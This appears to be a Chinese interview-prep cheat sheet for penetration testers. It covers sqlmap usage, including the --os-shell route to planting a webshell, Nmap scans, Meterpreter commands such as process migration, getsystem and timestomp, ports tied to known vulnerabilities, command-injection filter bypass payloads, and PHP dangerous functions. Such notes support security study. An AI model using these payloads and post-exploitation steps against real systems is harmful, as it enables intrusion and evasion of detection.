渗透测试面试总结【工具与杂项篇】

渗透测试面试总结【工具与杂项篇】

    • 1.SQLmap
    • 2.Nmap
    • 3.MSF
    • 4.了解那些端口
    • 5.命令执行怎么绕过
    • 6.文件包含都有哪些伪协议?
    • 7.代码执行,文件读取,命令执行的函数都有哪些?

1.SQLmap

1-SQLmap 是最强大的注入工具,没有之一,几乎所有的数据库都可以注入
# 关键函数
    --is-dba                                 #当前用户权限(是否为root权限,mssql下最高权限为sa)
    --dbs                                    #所有数据库
    --current-db                            #网站当前数据库
    --users                                 #所有数据库用户
    --current-user                             #当前数据库用户
    --random-agent                             #构造随机user-agent
    --passwords                             #数据库密码
    --proxy http://local:8080 –threads 10   #(可以自定义线程加速) 代理
    --time-sec=TIMESEC DBMS                    #响应的延迟时间(默认为5秒
    --threads=                               #使用多少线程
    --batch                                    #自动化选择
# Cookie注入
    sqlmap.py -u "http://www.xxx.com?id=1注入点" --cookie="cookie值" --current-db  
# POST注入
    sqlmap -r “数据包地址” -p “需要制定的参数” –dbms 需要制定的数据类型
# GET注入
    sqomap -u “注入点地址” --dbs 跟上你需要的参数
# sqlmap进行交互式写shell
    1-前提条件:最高权限、知道web网站绝对路径、能获取到cookie
    2-    sqlmap.py -u "注入点地址" --cookie="cookie值" --os-shell
        2.1-echo “一句话木马”>网站的绝对路径
    3- 输入web网站的绝对路径
    4-传木马

2.Nmap

# Nmap 是一款网络扫描和主机检测的工具
# 常用的参数
    nmap www.baidu.com                  #扫描单一的一个主机)
    nmap 192.168.1.154                 #扫描单一的一个主机)
    nmap 192.168.1.1/24                #扫描整个子网
    nmap 192.168.1.154 192.168.1.156    #扫描多个目标)
    nmap 192.168.1.1-100              #扫描IP地址为192.168.1.1-192.168.1.100内的所有主机
    nmap -iL target.txt                  #扫描批量ip地址
    nmap 192.168.1.1/24 -exclude 192.168.1.1      #扫描除过某一个 ip 外的所有子网主机
    nmap 192.168.1.1/24 -exclude file xxx.txt       #xxx.txt 中的文件将会从扫描的主机中排除
    nmap -p80,21,23 192.168.1.154                  #扫描特定主机上的 80、21、23 端口
    nmap -sS 192.168.1.1                         #半开放扫描比较喜欢用的一个
    namap --script==vuln                         #扫漏洞,比较重的一个
    namp -oN                                         # 保存扫描结果

3.MSF

# 常用命令
    background                     #让meterpreter处于后台模式
    sessions -i number             #与会话进行交互,number表示第n个session
    quit                         #退出会话
    shell                         #获得命令行
    cat c:\\boot.ini             #查看文件内容
    getwd                         #查看当前工作目录 work directory
    upload /root/Desktop/netcat.exe c:\\                 # 上传文件到目标机上
    download 0xfa.txt /root/Desktop/                     # 下载文件到本机上
    edit c:\\boot.ini                                     # 编辑文件
    search -d d:\\www -f web.config                     #search 文件
    ps                                                     #查看当前活跃进程
    migrate pid                                     #将Meterpreter会话移植到进程数位pid的进程中
    execute -H -i -f cmd.exe                         #创建新进程cmd.exe,-H不可见,-i交互
    getpid                                             #获取当前进程的pid
    kill pid                                         #杀死进程
    getuid                                             #查看权限
    sysinfo                                         #查看目标机系统信息,如机器名,操作系统等
    getsystem                                         #提权操作
    timestompc:/a.doc -c "10/27/2015 14:22:11"         #修改文件的创建时间
# 迁移进程
    1-meterpreter > ps
    2-自行选择PID
    3-meterpreter > migrate pid

还可以做免杀木马等等。。。。MSF 蛮强大的

4.了解那些端口

#web网站
    80 web
    80-89 web
    8000-9090 web
#数据库
    1433 MSSQL
    1521 Oracle
    3306 MySQL
    5432 PostgreSQL
    50000 DB2
#特殊服务类
    443 SSL心脏滴血
    445 ms08067/ms11058/ms17010等
    873 Rsync未授权
    5984 CouchDB http://xxx:5984/_utils/
    6379 redis未授权
    7001,7002 WebLogic默认弱口令,反序列
    9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
    11211 memcache未授权访问
    27017,27018 Mongodb未授权访问
    50000 SAP命令执行
    50070,50030 hadoop默认端口未授权访问
#常用端口类
    21 ftp
    22 SSH
    23 Telnet
    445 SMB弱口令扫描
    2601,2604 zebra路由,默认密码zebra
    3389 远程桌面

5.命令执行怎么绕过

cat 233.txt
# 管道符号绕过
# 空格绕过 
    ${IFS}
# %0a、%09
# 重定向绕过
    < <> 
# 变量拼接绕过
    @kali:$ a=c;b=at;c=fl;d=ag;$a$b $c$d
# 单引号、双引号绕过
    ca''t flag
    cat"" flag
# 编码绕过
    #$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
    #{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

    #$(printf "\154\163") ==>ls    
    $(printf "\154\163")
# 查看等价替换
    (1)more:一页一页的显示档案内容
    (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
    (3)head:查看头几行
    (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    (5)tail:查看尾几行
    (6)nl:显示的时候,顺便输出行号
    (7)od:以二进制的方式读取档案内容
    (8)vi:一种编辑器,这个也可以查看
    (9)vim:一种编辑器,这个也可以查看
    (10)sort:可以查看
    (11)uniq:可以查看
    (12)file -f:报错出具体内容
# 反斜线绕过
    c\at fl\ag
# 内敛注释绕过
    #`命令`和$(命令)都是执行命令的方式
    echo "m0re`cat flag`"
    echo "m0re $(cat flag)"
# base64编码绕过
    `echo "Y2F0IGZsYWc="|base64 -d`
# 绕过长度限制
    # >命令会将原有文件内容覆盖
    echo '123'>xxoo.txt
# >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
    echo '233'>>xxoo.txt
# 命令换行绕过
    ca\
    a\
    t\
    fl\
     ag

6.文件包含都有哪些伪协议?

file://        访问本地文件系统
http://        访问 HTTPs 网址
ftp://        访问 ftp URL 
Php://        访问输入输出流
Zlib://        压缩流
Data://        数据
Ssh2://        security shell2 
Expect://        处理交互式的流
Glob://        查找匹配的文件路径

7.代码执行,文件读取,命令执行的函数都有哪些?

# 1-代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

# 2-文件读取:
file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()# 3-命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

你可能感兴趣的:(渗透测试专题,渗透测试,安全,web安全)